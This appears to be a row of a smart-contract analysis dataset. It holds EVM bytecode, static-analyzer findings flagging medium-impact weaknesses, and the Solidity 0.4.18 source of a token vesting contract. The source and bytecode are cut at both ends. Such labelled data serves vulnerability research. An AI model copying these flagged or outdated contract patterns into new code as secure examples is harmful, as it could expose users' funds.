5260200160002054101515156128a957600080fd5b600090505b8451811015612a315761293784828151811015156128c857fe5b906020019060200201516009600088858151811015156128e457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b60096000878481518110151561294957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848181518110151561299f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515612a0557fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506128ae565b612a8382600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b3357600080fd5b60008551118015612b45575083518551145b1515612b5057600080fd5b60009150600090505b8451811015612f025760008482815181101515612b7257fe5b90602001906020020151118015612bb7575060008582815181101515612b9457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612c2a575060001515600b60008784815181101515612bd457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015612c8b5750600c60008683815181101515612c4357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515612c9657600080fd5b612cc46305f5e1008583815181101515612cac57fe5b906020019060200201516136dd90919063ffffffff16565b8482815181101515612cd257fe5b90602001906020020181815250508381815181101515612cee57fe5b90602001906020020151600960008784815181101515612d0a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612d5c57600080fd5b612ddc8482815181101515612d6d57fe5b90602001906020020151600960008885815181101515612d8957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960008784815181101515612dee57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e608482815181101515612e4757fe5b90602001906020020151836136bf90919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff168582815181101515612e8757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515612ed657fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612b59565b612f5482600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612fff57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561303b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808411801561315c575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156131b8575060001515600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156132025750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b801561324c5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561325757600080fd5b61326085613718565b156136905783600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156132b357600080fd5b61330584600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061339a84600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b60208310151561342c5780518252602082019150602081019050602083039250613407565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b8381101561350d5780820151818401526020810190506134f2565b50505050905090810190601f16801561353a5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561355a57fe5b826040518082805190602001908083835b602083101515613590578051825260208201915060208101905060208303925061356b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001905061369e565b61369b858585613b0a565b90505b949350505050565b60008282111515156136b457fe5b818303905092915050565b60008082840190508381101515156136d357fe5b8091505092915050565b60008060008414156136f25760009150613711565b828402905082848281151561370357fe5b0414151561370d57fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561377c57600080fd5b6137ce84600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061386384600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561396b578082015181840152602081019050613950565b50505050905090810190601f1680156139985780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156139b957600080fd5b505af11580156139cd573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083101515613a0757805182526020820191506020810190506020830392506139e2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515613b5a57600080fd5b613bac83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c4183600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515613cba5780518252602082019150602081019050602083039250613c95565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000808284811515613dca57fe5b04905080915050929150505600a165627a7a7230582050f1603832e19a2044665cb05d5653beba7e260dab90b017c7f4ea8f448bcfac0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,866 |
0x45e6ff0885ebf5d616e460d14855455d92d6cc04 | pragma solidity 0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath64 {
function mul(uint64 a, uint64 b) internal constant returns (uint64) {
uint64 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint64 a, uint64 b) internal constant returns (uint64) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint64 a, uint64 b) internal constant returns (uint64) {
assert(b <= a);
return a - b;
}
function add(uint64 a, uint64 b) internal constant returns (uint64) {
uint64 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title VestingERC20
* @dev VestingERC20 is a contract for managing vesting of ERC20 Token.
* @dev The tokens are unlocked continuously to the vester.
* @dev The contract host the tokens that are locked for the vester.
*/
contract VestingERC20 {
using SafeMath for uint256;
using SafeMath64 for uint64;
struct Grant {
uint256 vestedAmount;
uint64 startTime;
uint64 cliffTime;
uint64 endTime;
uint256 withdrawnAmount;
}
// list of the grants (token => granter => vester => Grant).
mapping(address => mapping(address => mapping(address => Grant))) public grantPerTokenGranterVester;
// Ledger of the tokens hodled (this not a typo ;) ) in this contract (token => user => balance).
mapping(address => mapping(address => uint256)) private balancePerPersonPerToken;
event NewGrant(address granter, address vester, address token, uint256 vestedAmount, uint64 startTime, uint64 cliffTime, uint64 endTime);
event GrantRevoked(address granter, address vester, address token);
event Deposit(address token, address granter, uint amount, uint balance);
event TokenReleased(address token, address granter, address vester, uint amount);
event Withdraw(address token, address user, uint amount);
/**
* @dev Create a vesting to an ethereum address.
*
* If there is not enough tokens available on the contract, an exception is thrown.
*
* @param _token The ERC20 token contract address.
* @param _vester The address where the token will be sent.
* @param _vestedAmount The amount of tokens to be sent during the vesting period.
* @param _startTime The time when the vesting starts.
* @param _grantPeriod The period of the grant in sec.
* @param _cliffPeriod The period in sec during which time the tokens cannot be withraw.
*/
function createVesting(
address _token,
address _vester,
uint256 _vestedAmount,
uint64 _startTime,
uint64 _grantPeriod,
uint64 _cliffPeriod)
external
{
require(_token != 0);
require(_vester != 0);
require(_cliffPeriod <= _grantPeriod);
require(_vestedAmount != 0);
require(_grantPeriod==0 || _vestedAmount * _grantPeriod >= _vestedAmount); // no overflow allow here! (to make getBalanceVestingInternal safe).
// verify that there is not already a grant between the addresses for this specific contract.
require(grantPerTokenGranterVester[_token][msg.sender][_vester].vestedAmount==0);
var cliffTime = _startTime.add(_cliffPeriod);
var endTime = _startTime.add(_grantPeriod);
grantPerTokenGranterVester[_token][msg.sender][_vester] = Grant(_vestedAmount, _startTime, cliffTime, endTime, 0);
// update the balance
balancePerPersonPerToken[_token][msg.sender] = balancePerPersonPerToken[_token][msg.sender].sub(_vestedAmount);
NewGrant(msg.sender, _vester, _token, _vestedAmount, _startTime, cliffTime, endTime);
}
/**
* @dev Revoke a vesting
*
* The vesting is deleted and the tokens already released are sent to the vester.
*
* @param _token The address of the token.
* @param _vester The address of the vester.
*/
function revokeVesting(address _token, address _vester)
external
{
require(_token != 0);
require(_vester != 0);
Grant storage _grant = grantPerTokenGranterVester[_token][msg.sender][_vester];
// verify if the grant exists
require(_grant.vestedAmount!=0);
// send token available
sendTokenReleasedToBalanceInternal(_token, msg.sender, _vester);
// unlock the tokens reserved for this grant
balancePerPersonPerToken[_token][msg.sender] =
balancePerPersonPerToken[_token][msg.sender].add(
_grant.vestedAmount.sub(_grant.withdrawnAmount)
);
// delete the grants
delete grantPerTokenGranterVester[_token][msg.sender][_vester];
GrantRevoked(msg.sender, _vester, _token);
}
/**
* @dev Send the released token to the user balance and eventually withdraw
*
* Put the tokens released to the user balance.
* If _doWithdraw is true, send the whole balance to the user.
* @param _token The address of the token.
* @param _granter The address of the granter.
* @param _doWithdraw bool, true to withdraw in the same time.
*/
function releaseGrant(address _token, address _granter, bool _doWithdraw)
external
{
// send token to the vester
sendTokenReleasedToBalanceInternal(_token, _granter, msg.sender);
if(_doWithdraw) {
withdraw(_token);
}
// delete grant if fully withdrawn
Grant storage _grant = grantPerTokenGranterVester[_token][_granter][msg.sender];
if(_grant.vestedAmount == _grant.withdrawnAmount)
{
delete grantPerTokenGranterVester[_token][_granter][msg.sender];
}
}
/**
* @dev Withdraw tokens avaibable
*
* The tokens are sent to msg.sender and his balancePerPersonPerToken is updated to zero.
* If there is the token transfer fail, the transaction is revert.
*
* @param _token The address of the token.
*/
function withdraw(address _token)
public
{
uint amountToSend = balancePerPersonPerToken[_token][msg.sender];
balancePerPersonPerToken[_token][msg.sender] = 0;
Withdraw(_token, msg.sender, amountToSend);
require(ERC20(_token).transfer(msg.sender, amountToSend));
}
/**
* @dev Send the token released to the balance address
*
* The token released for the address are sent and his withdrawnAmount are updated.
* If there is nothing the send, return false.
*
* @param _token The address of the token.
* @param _granter The address of the granter.
* @param _vester The address of the vester.
* @return true if tokens have been sent.
*/
function sendTokenReleasedToBalanceInternal(address _token, address _granter, address _vester)
internal
{
Grant storage _grant = grantPerTokenGranterVester[_token][_granter][_vester];
uint256 amountToSend = getBalanceVestingInternal(_grant);
// update withdrawnAmount
_grant.withdrawnAmount = _grant.withdrawnAmount.add(amountToSend);
TokenReleased(_token, _granter, _vester, amountToSend);
// send tokens to the vester's balance
balancePerPersonPerToken[_token][_vester] = balancePerPersonPerToken[_token][_vester].add(amountToSend);
}
/**
* @dev Calculate the amount of tokens released for a grant
*
* @param _grant Grant information.
* @return the number of tokens released.
*/
function getBalanceVestingInternal(Grant _grant)
internal
constant
returns(uint256)
{
if(now < _grant.cliffTime)
{
// the grant didn't start
return 0;
}
else if(now >= _grant.endTime)
{
// after the end of the grant release everything
return _grant.vestedAmount.sub(_grant.withdrawnAmount);
}
else
{
// token available = vestedAmount * (now - startTime) / (endTime - startTime) - withdrawnAmount
// => in other words : (number_of_token_granted_per_second * second_since_grant_started) - amount_already_withdraw
return _grant.vestedAmount.mul(
now.sub(_grant.startTime)
).div(
_grant.endTime.sub(_grant.startTime)
).sub(_grant.withdrawnAmount);
}
}
/**
* @dev Get the amount of tokens released for a vesting
*
* @param _token The address of the token.
* @param _granter The address of the granter.
* @param _vester The address of the vester.
* @return the number of tokens available.
*/
function getVestingBalance(address _token, address _granter, address _vester)
external
constant
returns(uint256)
{
Grant memory _grant = grantPerTokenGranterVester[_token][_granter][_vester];
return getBalanceVestingInternal(_grant);
}
/**
* @dev Get the token balance of the contract
*
* @param _token The address of the token.
* @param _user The address of the user.
* @return the balance of tokens on the contract for _user.
*/
function getContractBalance(address _token, address _user)
external
constant
returns(uint256)
{
return balancePerPersonPerToken[_token][_user];
}
/**
* @dev Make a deposit of tokens on the contract
*
* Before using this function the user needs to do a token allowance from the user to the contract.
*
* @param _token The address of the token.
* @param _amount Amount of token to deposit.
*
* @return the balance of tokens on the contract for msg.sender.
*/
function deposit(address _token, uint256 _amount)
external
returns(uint256)
{
require(_token!=0);
require(ERC20(_token).transferFrom(msg.sender, this, _amount));
balancePerPersonPerToken[_token][msg.sender] = balancePerPersonPerToken[_token][msg.sender].add(_amount);
Deposit(_token, msg.sender, _amount, balancePerPersonPerToken[_token][msg.sender]);
return balancePerPersonPerToken[_token][msg.sender];
}
} | 0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630ac10c0d146100935780631c20be7e1461012d578063341f115c146101b85780633613b7811461029b57806347e7ef24146102f357806351cff8d9146103495780636a8ae1361461038257806373582884146103ee575b600080fd5b341561009e57600080fd5b61012b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff16906020019091905050610451565b005b341561013857600080fd5b6101a2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109ee565b6040518082815260200191505060405180910390f35b34156101c357600080fd5b61022d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b7b565b604051808681526020018567ffffffffffffffff1667ffffffffffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018281526020019550505050505060405180910390f35b34156102a657600080fd5b6102f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c07565b005b34156102fe57600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611042565b6040518082815260200191505060405180910390f35b341561035457600080fd5b610380600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611425565b005b341561038d57600080fd5b6103d8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061169c565b6040518082815260200191505060405180910390f35b34156103f957600080fd5b61044f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611723565b005b60008060008873ffffffffffffffffffffffffffffffffffffffff161415151561047a57600080fd5b60008773ffffffffffffffffffffffffffffffffffffffff16141515156104a057600080fd5b8367ffffffffffffffff168367ffffffffffffffff16111515156104c357600080fd5b600086141515156104d357600080fd5b60008467ffffffffffffffff1614806104f85750858467ffffffffffffffff16870210155b151561050357600080fd5b60008060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415156105cd57600080fd5b6105ea838667ffffffffffffffff1661192d90919063ffffffff16565b9150610609848667ffffffffffffffff1661192d90919063ffffffff16565b905060a0604051908101604052808781526020018667ffffffffffffffff1681526020018367ffffffffffffffff1681526020018267ffffffffffffffff16815260200160008152506000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201518160010160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506080820151816002015590505061083d86600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f12b95d2f99d5fc2b9b56572a50adafae25a54fee212a5f365397dea9963b54fa33888a89898787604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200197505050505050505060405180910390a15050505050505050565b60006109f8611e86565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060a06040519081016040529081600082015481526020016001820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016001820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016001820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016002820154815250509050610b7181611978565b9150509392505050565b600060205282600052604060002060205281600052604060002060205280600052604060002060009250925050508060000154908060010160009054906101000a900467ffffffffffffffff16908060010160089054906101000a900467ffffffffffffffff16908060010160109054906101000a900467ffffffffffffffff16908060020154905085565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610c2e57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610c5457600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015414151515610d2257600080fd5b610d2d833384611a67565b610dd6610d4b8260020154836000015461195f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160006101000a81549067ffffffffffffffff02191690556001820160086101000a81549067ffffffffffffffff02191690556001820160106101000a81549067ffffffffffffffff0219169055600282016000905550507f95acf6574c905c09a5459c4ebd51d190525d79c5f6a58b4ad03d15261c0e9412338385604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561106957600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561114857600080fd5b6102c65a03f1151561115957600080fd5b50505060405180519050151561116e57600080fd5b6111fd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7833384600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb823383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a18173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561167257600080fd5b6102c65a03f1151561168357600080fd5b50505060405180519050151561169857600080fd5b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000611730848433611a67565b81156117405761173f84611425565b5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473fffffffffffffffffffffffffffffffffffffff